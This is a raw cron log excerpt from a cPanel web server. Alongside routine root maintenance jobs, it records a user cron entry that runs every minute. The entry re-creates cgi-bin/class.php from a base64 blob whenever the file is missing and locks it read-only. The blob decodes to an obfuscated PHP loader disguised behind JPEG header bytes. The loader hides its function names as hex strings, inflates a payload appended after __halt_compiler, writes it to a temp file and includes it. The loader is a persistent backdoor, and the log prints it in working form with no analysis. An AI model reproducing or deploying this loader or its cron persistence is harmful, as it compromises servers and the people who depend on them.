Nov 12 17:30:01 server CROND[27419]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:30:01 server CROND[27420]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 17:30:01 server CROND[27421]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 17:31:01 server CROND[28334]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:32:01 server CROND[29140]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:33:01 server CROND[29982]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:34:01 server CROND[30687]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:35:01 server CROND[31761]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 17:35:01 server CROND[31763]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 17:35:01 server CROND[31764]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 12 17:35:01 server CROND[31762]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 17:35:01 server CROND[31770]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:36:01 server CROND[32733]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:37:01 server CROND[1217]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:38:01 server CROND[1992]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:39:01 server CROND[2844]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:39:01 server CROND[2845]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 17:40:01 server CROND[3682]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 17:40:01 server CROND[3684]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 17:40:01 server CROND[3681]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 17:40:01 server CROND[3683]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:41:01 server CROND[4662]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:42:01 server CROND[5475]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:42:01 server CROND[5476]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
